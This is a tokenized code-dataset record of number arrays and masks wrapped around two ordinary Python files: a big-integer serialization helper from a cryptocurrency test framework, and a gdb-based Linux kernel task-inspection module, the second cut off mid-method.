447, 25059, 4750, 402, 2622, 12, 17429, 590, 1006, 3326, 315, 267, 520, 533, 1705, 22015, 1563, 64, 8963, 787, 3696, 3326, 14, 221, 961, 365, 2952, 402, 267, 4212, 4002, 370, 314, 8793, 4298, 3520, 8963, 19218, 14, 221, 31859, 267, 370, 2216, 8785, 3326, 465, 3696, 1059, 15693, 66, 2, 875, 2, 16580, 436, 370, 675, 267, 520, 1532, 6054, 4853, 14, 578, 63, 1208, 423, 505, 14, 475, 63, 2394, 64, 436, 267, 520, 1532, 6054, 4853, 14, 578, 63, 1208, 423, 505, 14, 475, 63, 505, 64, 370, 5126, 10537, 267, 8826, 14, 272, 1449, 339, 6079, 10311, 2783, 5578, 8455, 465, 3839, 272, 11167, 63, 2703, 63, 264, 275, 942, 339, 6079, 10311, 2783, 5578, 8455, 465, 4635, 272, 11167, 63, 3083, 63, 264, 275, 942, 339, 6079, 10311, 2783, 5578, 8455, 370, 2813, 25600, 9479, 272, 376, 338, 63, 264, 275, 359, 267, 295, 14, 2014, 8, 3289, 13445, 88, 17, 66, 60, 7023, 31, 17, 72, 60, 88, 17, 66, 29, 11218, 267, 295, 14, 2014, 8, 3289, 1154, 88, 2036, 2659, 272, 1622, 339, 6079, 11167, 2536, 8457, 272, 11167, 63, 2747, 63, 7650, 275, 488, 339, 6079, 11167, 2536, 6385, 272, 11167, 63, 2747, 63, 5934, 275, 488, 339, 6079, 10217, 8057, 2410, 8457, 1336, 272, 11167, 63, 826, 279, 63, 7650, 63, 12210, 275, 715, 339, 347, 636, 826, 721, 277, 12, 1950, 304, 267, 291, 423, 2105, 275, 1950, 339, 347, 485, 1628, 63, 2764, 63, 1531, 8, 277, 12, 2088, 12, 1104, 63, 1195, 29, 549, 304, 267, 1449, 267, 9434, 3862, 314, 14214, 1414, 641, 314, 3982, 2243, 436, 2529, 314, 1072, 398, 520, 1273, 2088, 26, 20301, 1059, 1414, 370, 506, 7934, 267, 1449, 267, 372, 291, 423, 2105, 14, 1628, 63, 1531, 8, 1760, 9, 339, 347, 485, 362, 63, 7650, 8, 277, 304, 267, 408, 267, 1803, 314, 1453, 8457, 687, 314, 2243, 398, 520, 5808, 26, 437, 3696, 1059, 402, 314, 8457, 267, 408, 267, 372, 291, 423, 2105, 14, 362, 63, 7650, 342, 339, 347, 641, 63, 1490, 63, 5641, 8, 277, 304, 267, 408, 10474, 2410, 314, 12027, 2351, 365, 23594, 398, 961, 1083, 365, 2797, 2451, 2410, 314, 12677, 63, 5641, 342, 365, 2797, 687, 267, 314, 12608, 16625, 12027, 3041, 1256, 14, 221, 2779, 6571, 376, 30914, 370, 3272, 267, 11167, 2633, 4066, 465, 2153, 66, 2983, 299, 7407, 367, 1256, 14, 267, 408, 267, 986, 339, 347, 641, 63, 1600, 63, 5641, 8, 277, 304, 267, 408, 10474, 2544, 314, 1950, 365, 6876, 398, 961, 1083, 7545, 2797, 5403, 314, 1950, 4002, 965, 2757, 5839, 267, 1325, 2544, 314, 1950, 365, 5965, 6876, 14, 221, 2779, 6571, 376, 267, 30914, 370, 3633, 1536, 1263, 11167, 5944, 2544, 314, 5218, 365, 267, 5965, 6876, 267, 408, 267, 986, 339, 347, 641, 63, 13970, 8, 277, 12, 15081, 29, 403, 304, 267, 408, 10474, 1380, 1979, 17228, 325, 4732, 425, 365, 5839, 398, 520, 12745, 15081, 26, 2624, 3035, 314, 2505, 398, 961, 1083, 365, 2797, 1380, 314, 1979, 17228, 365, 5839, 370, 506, 325, 6972, 972, 267, 315, 314, 5232, 1067, 701, 4260, 8649, 370, 715, 14, 221, 2779, 365, 314, 9163, 4783, 267, 402, 314, 11167, 3589, 370, 5965, 886, 314, 1979, 17228, 325, 4732, 425, 4066, 267, 465, 9509, 316, 658, 4296, 64, 818, 367, 1256, 267, 408, 267, 986, 339, 347, 641, 63, 324, 13970, 8, 277, 304, 267, 408, 10474, 1380, 1979, 17228, 477, 397, 915, 425, 365, 5839, 398, 961, 1083, 365, 2797, 1380, 314, 1979, 17228, 2896, 687, 325, 4732, 972, 267, 334, 13970, 29, 549, 9, 370, 2222, 325, 4732, 972, 334, 13970, 29, 797, 680, 221, 2779, 365, 314, 9163, 4783, 267, 402, 642, 1083, 370, 5965, 5147, 314, 477, 15846, 17782, 267, 408, 267, 986, 339, 347, 641, 63, 14204, 8, 277, 12, 15081, 29, 403, 304, 267, 408, 19727, 1083, 367, 1979, 17228, 325, 4732, 425, 398, 520, 12745, 15081, 26, 2624, 3035, 314, 2505, 267, 408, 267, 372, 291, 14, 265, 63, 13970, 8, 12671, 9, 339, 347, 641, 63, 271, 14204, 8, 277, 304, 267, 408, 19727, 1083, 367, 1979, 17228, 477, 397, 915, 425, 267, 408, 267, 372, 291, 14, 265, 63, 324, 13970, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
HashUnlimited/Einsteinium-Unlimited
qa/rpc-tests/test_framework/bignum.py
123
1929
#!/usr/bin/env python3 # # bignum.py # # This file is copied from python-bitcoinlib. # # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # """Bignum routines""" import struct # generic big endian MPI format def bn_bytes(v, have_ext=False): ext = 0 if have_ext: ext = 1 return ((v.bit_length()+7)//8) + ext def bn2bin(v): s = bytearray() i = bn_bytes(v) while i > 0: s.append((v >> ((i-1) * 8)) & 0xff) i -= 1 return s def bin2bn(s): l = 0 for ch in s: l = (l << 8) | ch return l def bn2mpi(v): have_ext = False if v.bit_length() > 0: have_ext = (v.bit_length() & 0x07) == 0 neg = False if v < 0: neg = True v = -v s = struct.pack(b">I", bn_bytes(v, have_ext)) ext = bytearray() if have_ext: ext.append(0) v_bin = bn2bin(v) if neg: if have_ext: ext[0] |= 0x80 else: v_bin[0] |= 0x80 return s + ext + v_bin def mpi2bn(s): if len(s) < 4: return None s_size = bytes(s[:4]) v_len = struct.unpack(b">I", s_size)[0] if len(s) != (v_len + 4): return None if v_len == 0: return 0 v_str = bytearray(s[4:]) neg = False i = v_str[0] if i & 0x80: neg = True i &= ~0x80 v_str[0] = i v = bin2bn(v_str) if neg: return -v return v # bitcoin-specific little endian format, with implicit size def mpi2vch(s): r = s[4:] # strip size r = r[::-1] # reverse string, converting BE->LE return r def bn2vch(v): return bytes(mpi2vch(bn2mpi(v))) def vch2mpi(s): r = struct.pack(b">I", len(s)) # size r += s[::-1] # reverse string, converting LE->BE return r def vch2bn(s): return mpi2bn(vch2mpi(s))
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 3, 199, 3, 330, 1030, 453, 14, 647, 199, 3, 199, 3, 961, 570, 365, 8876, 687, 2366, 13, 22816, 773, 14, 199, 3, 199, 3, 17484, 1334, 314, 10697, 2032, 4190, 12, 1937, 314, 23073, 199, 3, 570, 9685, 503, 1455, 921, 1544, 14, 16374, 14, 1308, 15, 2383, 15, 1147, 13, 1682, 14, 8624, 14, 199, 3, 199, 199, 624, 34, 1030, 453, 14975, 624, 421, 199, 646, 2702, 421, 199, 3, 7809, 7282, 17638, 26024, 1475, 199, 199, 318, 21847, 63, 2394, 8, 86, 12, 1172, 63, 832, 29, 797, 304, 272, 1599, 275, 378, 272, 340, 1172, 63, 832, 26, 267, 1599, 275, 413, 272, 372, 3666, 86, 14, 2075, 63, 1267, 24543, 23, 28428, 24, 9, 435, 1599, 199, 199, 318, 21847, 18, 1393, 8, 86, 304, 272, 308, 275, 11640, 342, 272, 284, 275, 21847, 63, 2394, 8, 86, 9, 272, 1830, 284, 690, 378, 26, 267, 308, 14, 740, 1332, 86, 4331, 3666, 73, 13, 17, 9, 627, 1695, 430, 1253, 378, 3581, 9, 267, 284, 4862, 413, 272, 372, 308, 199, 199, 318, 2517, 18, 10472, 8, 83, 304, 272, 634, 275, 378, 272, 367, 682, 315, 308, 26, 267, 634, 275, 334, 76, 5213, 1695, 9, 1204, 682, 272, 372, 634, 199, 199, 318, 21847, 18, 13213, 8, 86, 304, 272, 1172, 63, 832, 275, 756, 272, 340, 373, 14, 2075, 63, 1267, 342, 690, 378, 26, 267, 1172, 63, 832, 275, 334, 86, 14, 2075, 63, 1267, 342, 1253, 378, 88, 1780, 9, 508, 378, 339, 14158, 275, 756, 272, 340, 373, 665, 378, 26, 267, 14158, 275, 715, 267, 373, 275, 446, 86, 339, 308, 275, 2702, 14, 1389, 8, 66, 1743, 41, 401, 21847, 63, 2394, 8, 86, 12, 1172, 63, 832, 430, 272, 1599, 275, 11640, 342, 272, 340, 1172, 63, 832, 26, 267, 1599, 14, 740, 8, 16, 9, 272, 373, 63, 1393, 275, 21847, 18, 1393, 8, 86, 9, 272, 340, 14158, 26, 267, 340, 1172, 63, 832, 26, 288, 1599, 59, 16, 61, 8901, 378, 88, 1257, 267, 587, 26, 288, 373, 63, 1393, 59, 16, 61, 8901, 378, 88, 1257, 272, 372, 308, 435, 1599, 435, 373, 63, 1393, 199, 199, 318, 26806, 18, 10472, 8, 83, 304, 272, 340, 822, 8, 83, 9, 665, 841, 26, 267, 372, 488, 272, 308, 63, 890, 275, 2783, 8, 83, 1491, 20, 566, 272, 373, 63, 552, 275, 2702, 14, 5301, 8, 66, 1743, 41, 401, 308, 63, 890, 2788, 16, 61, 272, 340, 822, 8, 83, 9, 1137, 334, 86, 63, 552, 435, 841, 304, 267, 372, 488, 272, 340, 373, 63, 552, 508, 378, 26, 267, 372, 378, 339, 373, 63, 495, 275, 11640, 8, 83, 59, 20, 5728, 272, 14158, 275, 756, 272, 284, 275, 373, 63, 495, 59, 16, 61, 272, 340, 284, 1253, 378, 88, 1257, 26, 267, 14158, 275, 715, 267, 284, 18415, 6146, 16, 88, 1257, 267, 373, 63, 495, 59, 16, 61, 275, 284, 339, 373, 275, 2517, 18, 10472, 8, 86, 63, 495, 9, 339, 340, 14158, 26, 267, 372, 446, 86, 272, 372, 373, 199, 199, 3, 27214, 13, 6100, 12050, 17638, 1475, 12, 543, 9227, 1568, 199, 318, 26806, 18, 86, 335, 8, 83, 304, 272, 519, 275, 308, 59, 20, 2938, 3698, 327, 6202, 1568, 272, 519, 275, 519, 14172, 17, 61, 260, 327, 3837, 1059, 12, 13806, 6262, 5118, 906, 272, 372, 519, 199, 199, 318, 21847, 18, 86, 335, 8, 86, 304, 272, 372, 2783, 8, 13213, 18, 86, 335, 8, 10472, 18, 13213, 8, 86, 1724, 199, 199, 318, 373, 335, 18, 13213, 8, 83, 304, 272, 519, 275, 2702, 14, 1389, 8, 66, 1743, 41, 401, 822, 8, 83, 430, 257, 327, 1568, 272, 519, 847, 308, 14172, 17, 61, 3322, 327, 3837, 1059, 12, 13806, 6124, 5118, 6773, 272, 372, 519, 199, 199, 318, 373, 335, 18, 10472, 8, 83, 304, 272, 372, 26806, 18, 10472, 8, 86, 335, 18, 13213, 8, 83, 430, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 3, 199, 3, 330, 1030, 453, 14, 647, 199, 3, 199, 3, 961, 570, 365, 8876, 687, 2366, 13, 22816, 773, 14, 199, 3, 199, 3, 17484, 1334, 314, 10697, 2032, 4190, 12, 1937, 314, 23073, 199, 3, 570, 9685, 503, 1455, 921, 1544, 14, 16374, 14, 1308, 15, 2383, 15, 1147, 13, 1682, 14, 8624, 14, 199, 3, 199, 199, 624, 34, 1030, 453, 14975, 624, 421, 199, 646, 2702, 421, 199, 3, 7809, 7282, 17638, 26024, 1475, 199, 199, 318, 21847, 63, 2394, 8, 86, 12, 1172, 63, 832, 29, 797, 304, 272, 1599, 275, 378, 272, 340, 1172, 63, 832, 26, 267, 1599, 275, 413, 272, 372, 3666, 86, 14, 2075, 63, 1267, 24543, 23, 28428, 24, 9, 435, 1599, 199, 199, 318, 21847, 18, 1393, 8, 86, 304, 272, 308, 275, 11640, 342, 272, 284, 275, 21847, 63, 2394, 8, 86, 9, 272, 1830, 284, 690, 378, 26, 267, 308, 14, 740, 1332, 86, 4331, 3666, 73, 13, 17, 9, 627, 1695, 430, 1253, 378, 3581, 9, 267, 284, 4862, 413, 272, 372, 308, 199, 199, 318, 2517, 18, 10472, 8, 83, 304, 272, 634, 275, 378, 272, 367, 682, 315, 308, 26, 267, 634, 275, 334, 76, 5213, 1695, 9, 1204, 682, 272, 372, 634, 199, 199, 318, 21847, 18, 13213, 8, 86, 304, 272, 1172, 63, 832, 275, 756, 272, 340, 373, 14, 2075, 63, 1267, 342, 690, 378, 26, 267, 1172, 63, 832, 275, 334, 86, 14, 2075, 63, 1267, 342, 1253, 378, 88, 1780, 9, 508, 378, 339, 14158, 275, 756, 272, 340, 373, 665, 378, 26, 267, 14158, 275, 715, 267, 373, 275, 446, 86, 339, 308, 275, 2702, 14, 1389, 8, 66, 1743, 41, 401, 21847, 63, 2394, 8, 86, 12, 1172, 63, 832, 430, 272, 1599, 275, 11640, 342, 272, 340, 1172, 63, 832, 26, 267, 1599, 14, 740, 8, 16, 9, 272, 373, 63, 1393, 275, 21847, 18, 1393, 8, 86, 9, 272, 340, 14158, 26, 267, 340, 1172, 63, 832, 26, 288, 1599, 59, 16, 61, 8901, 378, 88, 1257, 267, 587, 26, 288, 373, 63, 1393, 59, 16, 61, 8901, 378, 88, 1257, 272, 372, 308, 435, 1599, 435, 373, 63, 1393, 199, 199, 318, 26806, 18, 10472, 8, 83, 304, 272, 340, 822, 8, 83, 9, 665, 841, 26, 267, 372, 488, 272, 308, 63, 890, 275, 2783, 8, 83, 1491, 20, 566, 272, 373, 63, 552, 275, 2702, 14, 5301, 8, 66, 1743, 41, 401, 308, 63, 890, 2788, 16, 61, 272, 340, 822, 8, 83, 9, 1137, 334, 86, 63, 552, 435, 841, 304, 267, 372, 488, 272, 340, 373, 63, 552, 508, 378, 26, 267, 372, 378, 339, 373, 63, 495, 275, 11640, 8, 83, 59, 20, 5728, 272, 14158, 275, 756, 272, 284, 275, 373, 63, 495, 59, 16, 61, 272, 340, 284, 1253, 378, 88, 1257, 26, 267, 14158, 275, 715, 267, 284, 18415, 6146, 16, 88, 1257, 267, 373, 63, 495, 59, 16, 61, 275, 284, 339, 373, 275, 2517, 18, 10472, 8, 86, 63, 495, 9, 339, 340, 14158, 26, 267, 372, 446, 86, 272, 372, 373, 199, 199, 3, 27214, 13, 6100, 12050, 17638, 1475, 12, 543, 9227, 1568, 199, 318, 26806, 18, 86, 335, 8, 83, 304, 272, 519, 275, 308, 59, 20, 2938, 3698, 327, 6202, 1568, 272, 519, 275, 519, 14172, 17, 61, 260, 327, 3837, 1059, 12, 13806, 6262, 5118, 906, 272, 372, 519, 199, 199, 318, 21847, 18, 86, 335, 8, 86, 304, 272, 372, 2783, 8, 13213, 18, 86, 335, 8, 10472, 18, 13213, 8, 86, 1724, 199, 199, 318, 373, 335, 18, 13213, 8, 83, 304, 272, 519, 275, 2702, 14, 1389, 8, 66, 1743, 41, 401, 822, 8, 83, 430, 257, 327, 1568, 272, 519, 847, 308, 14172, 17, 61, 3322, 327, 3837, 1059, 12, 13806, 6124, 5118, 6773, 272, 372, 519, 199, 199, 318, 373, 335, 18, 10472, 8, 83, 304, 272, 372, 26806, 18, 10472, 8, 86, 335, 18, 13213, 8, 83, 430, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ptesarik/crash-python
crash/types/task.py
1
9970
# -*- coding: utf-8 -*- # vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79: from __future__ import print_function from __future__ import absolute_import from __future__ import division import gdb import sys if sys.version_info.major >= 3: long = int from crash.util import array_size from crash.infra import CrashBaseClass from crash.infra.lookup import DelayedValue, ClassProperty, get_delayed_lookup PF_EXITING = long(0x4) def get_value(symname): sym = gdb.lookup_symbol(symname, block=None, domain=gdb.SYMBOL_VAR_DOMAIN) if sym[0]: return sym[0].value() class TaskStateFlags(CrashBaseClass): __types__ = [ 'char *', 'struct task_struct' ] __symvals__ = [ 'task_state_array' ] __symbol_callbacks__ = [ ('task_state_array', 'task_state_flags_callback') ] __delayed_values__ = [ 'TASK_RUNNING', 'TASK_INTERRUPTIBLE', 'TASK_UNINTERRUPTIBLE', 'TASK_ZOMBIE', 'TASK_STOPPED', 'TASK_SWAPPING', 'TASK_EXCLUSIVE' ] @classmethod def task_state_flags_callback(cls, symbol): count = array_size(cls.task_state_array) bit = 0 for i in range(count): state = cls.task_state_array[i].string() state_strings = { '(running)' : 'TASK_RUNNING', '(sleeping)' : 'TASK_INTERRUPTIBLE', '(disk sleep)' : 'TASK_UNINTERRUPTIBLE', '(stopped)' : 'TASK_STOPPED', '(zombie)' : 'TASK_ZOMBIE', #'(dead)' : 'TASK_DEAD', '(swapping)' : 'TASK_SWAPPING', #'(tracing stop)' : 'TASK_TRACING_STOPPED', '(wakekill)' : 'TASK_WAKEKILL', '(waking)' : 'TASK_WAKING', } for key in state_strings: if key in state: try: dv = get_delayed_lookup(cls, state_strings[key]) dv.callback(bit) except KeyError: setattr(cls, state_strings[key], bit) if '(dead)' in state: cls.TASK_DEAD = bit if '(tracing stop)' in state: cls.TASK_TRACING_STOPPED = bit if bit == 0: bit = 1 else: bit <<= 1 cls.check_state_bits() @classmethod def check_state_bits(cls): required = [ 'TASK_RUNNING', 'TASK_INTERRUPTIBLE', 'TASK_UNINTERRUPTIBLE', 'TASK_ZOMBIE', 'TASK_STOPPED', ] missing = [] for bit in required: if not hasattr(cls, bit): missing.append(bit) if len(missing): raise RuntimeError("Missing required task states: {}" .format(",".join(missing))) TF = TaskStateFlags class BadTaskError(TypeError): msgtemplate = "task_struct must be gdb.Value describing struct task_struct not {}" def __init__(self, task): if isinstance(task, gdb.Value): typedesc = task.type else: typedesc = type(task) super(BadTaskError, self).__init__(self.msgtemplate.format(typedesc)) class LinuxTask(object): task_struct_type = None mm_struct_fields = None get_rss = None get_stack_pointer_fn = None valid = False def __init__(self, task_struct, active=False, cpu=None, regs=None): self.init_task_types(task_struct) if cpu is not None and not isinstance(cpu, int): raise TypeError("cpu must be integer or None") if not (isinstance(task_struct, gdb.Value) and (task_struct.type == self.task_struct_type or task_struct.type == self.task_struct_type.pointer())): raise BadTaskError(task_struct) self.task_struct = task_struct self.active = active self.cpu = cpu self.regs = regs self.thread_info = None self.stack_pointer = None self.thread = None # mem data self.mem_valid = False self.rss = 0 self.total_vm = 0 self.pgd_addr = 0 @classmethod def init_task_types(cls, task): if not cls.valid: t = gdb.lookup_type('struct task_struct') if task.type != t: raise BadTaskError(task_struct) # Using a type within the same context makes things a *lot* faster # This works around a shortcoming in gdb. A type lookup and # a type resolved from a symbol will be different structures # within gdb. Equality requires a deep comparison rather than # a simple pointer comparison. cls.task_struct_type = task.type fields = cls.task_struct_type.fields() cls.task_state_has_exit_state = 'exit_state' in fields cls.mm_struct_fields = gdb.lookup_type('struct mm_struct').keys() cls.pick_get_rss() cls.pick_last_run() cls.init_mm = get_value('init_mm') cls.valid = True def attach_thread(self, thread): if not isinstance(thread, gdb.InferiorThread): raise TypeError("Expected gdb.InferiorThread") self.thread = thread def set_thread_info(self, thread_info): self.thread_info = thread_info def get_thread_info(self): return self.thread_info def task_state(self): state = long(self.task_struct['state']) if self.task_state_has_exit_state: state |= long(self.task_struct['exit_state']) return state def maybe_dead(self): state = self.task_state() known = TF.TASK_INTERRUPTIBLE known |= TF.TASK_UNINTERRUPTIBLE known |= TF.TASK_ZOMBIE known |= TF.TASK_STOPPED if hasattr(TF, 'TASK_SWAPPING'): known |= TF.TASK_SWAPPING return (state & known) == 0 def task_flags(self): return long(self.task_struct['flags']) def is_exiting(self): return self.task_flags() & PF_EXITING def is_zombie(self): return self.task_state() & TF.TASK_ZOMBIE def update_mem_usage(self): if self.mem_valid: return if self.is_zombie() or self.is_exiting(): return mm = self.task_struct['mm'] if not mm: self.mem_valid = True return self.rss = self.get_rss() self.total_vm = long(mm['total_vm']) 